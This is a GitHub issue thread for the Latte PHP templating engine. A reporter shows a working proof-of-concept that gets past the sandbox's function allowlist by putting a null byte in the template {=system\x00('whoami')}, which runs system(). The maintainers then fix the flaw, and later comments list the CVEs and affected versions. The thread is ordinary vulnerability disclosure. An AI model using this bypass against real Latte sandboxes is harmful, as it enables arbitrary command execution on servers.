

New issue

Jump to bottom

There is a way to bypass allowFunctions #279

Closed

JinYiTong opened this issue on Nov 21, 2021 · 14 comments

JinYiTong commented on Nov 21, 2021

Version: 2.10.5

Bug Description

There is a way to bypass allowFunctions that will affect security.

Steps To Reproduce

```
<?php
error_reporting(0);
require 'vendor/autoload.php';
$latte = new Latte\Engine;
$policy = new Latte\Sandbox\SecurityPolicy;
$policy->allowFilters($policy::ALL);
$policy->allowMacros(['if', '=']);
$policy->allowFunctions(['strlen']);
$latte->setPolicy($policy);
$latte->setSandboxMode();
$latte->setAutoRefresh(false);
file_put_contents('index.latte', "{=system\x00('whoami')}");
$latte->render('index.latte');
```

This will execute the system function.

Expected Behavior

Should throw an error not allowed by system function

Possible Solution

Use rigorous regular expression segmentation, or add more rigorous judgments in isFunctionAllowed function

dg commented on Nov 22, 2021

Member

The template {=system\x00('whoami')} will produce non-valid PHP code. Latte cannot check the validity of the generated code at this time, this will be implemented in the next major version.

JinYiTong commented on Nov 23, 2021

Author

Thank you for your reply. Although this is a PHP language bug, it does affect your project.

```
php > eval("system\x00('whoami');");
PHP Warning: Unexpected character in input: ' in php shell code(1) : eval()'d code on line 1
PHP Stack trace:
PHP 1. {main}() php shell code:0
```

Warning: Unexpected character in input: ' in php shell code(1) : eval()'d code on line 1

```
Call Stack:
 32.1605 394912 1. {main}() php shell code:0
```

jiang\hp

system function is executed without permission, which undoubtedly violates the isFunctionAllowed function in latte .

dg commented on Nov 23, 2021

Member

Oh, my gosh, I didn't know about that PHP bug. Affected are PHP 7.0-7.4 for characters \x00-\x1F & \x7F



JinYiTong commented on Nov 23, 2021

Author

Yeah,will latte fix this bypass in the next major version?


dg closed this as completed in 227c86e on Nov 23, 2021

dg added a commit that referenced this issue on Nov 23, 2021

Parser: removes all control characters from template [Closes #279]

488cbcc

 dg added a commit that referenced this issue on Nov 23, 2021

 Parser: removes all control characters from template [Closes #279]

✖ 8aeb045

dg commented on Nov 23, 2021

Member

It should be fixed.

 dg added a commit that referenced this issue on Nov 26, 2021

 Parser: removes all control characters from template [Closes #279]

f3196de

JinYiTong commented on Dec 9, 2021 • edited

Author

Good to hear that a fix was made. Sorry I disclosed this bug publicly.

dg commented on Dec 9, 2021

Member

Sorry I disclosed this bug publicly.

That's okay. Sandbox is a new feature and I don't think anyone has used it in real life yet. In fact, I pretty much expect there to be some bugs in it.



utkarsh2102 commented on Jan 3

Oh hey, I am interested to know in which commit was this introduced? Or which versions are affected? All before 2.10.5?

utkarsh2102 commented on Jan 3

BTW, this was assigned [CVE-2021-23803](#). And hence I am interested to know about the above question, TIA! \o/

dg commented on Jan 4

Member

There were more sandbox issues in a last months. They're all fixed, and they are covered collectively by [CVE-2022-21648](#)

utkarsh2102 commented on Jan 4

@dg, thanks for letting me know but I am interested in the versions these two CVEs affect of this project? Are all the versions prior to the fixed version affected? Or this only affects some versions?

dg commented on Jan 4 • edited

Member

Sandbox first appeared in Latte 2.8.0 so older versions are not affected.

This issue was fixed in 2.8.7 and 2.9.5 and 2.10.6. But there was one more bug in the sandbox and it is fixed in the latest versions: 2.8.8 and 2.9.6 and 2.10.8.

utkarsh2102 commented on Jan 8

Got it, thank you! Both [CVE-2021-23803](#) and [CVE-2022-21648](#) are unaffected for nette < 2.8.0. I'll mark the same. Thank you! \o/

dg commented on Jan 8

Member

Yes, for [latte/latte](#)

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

3 participants

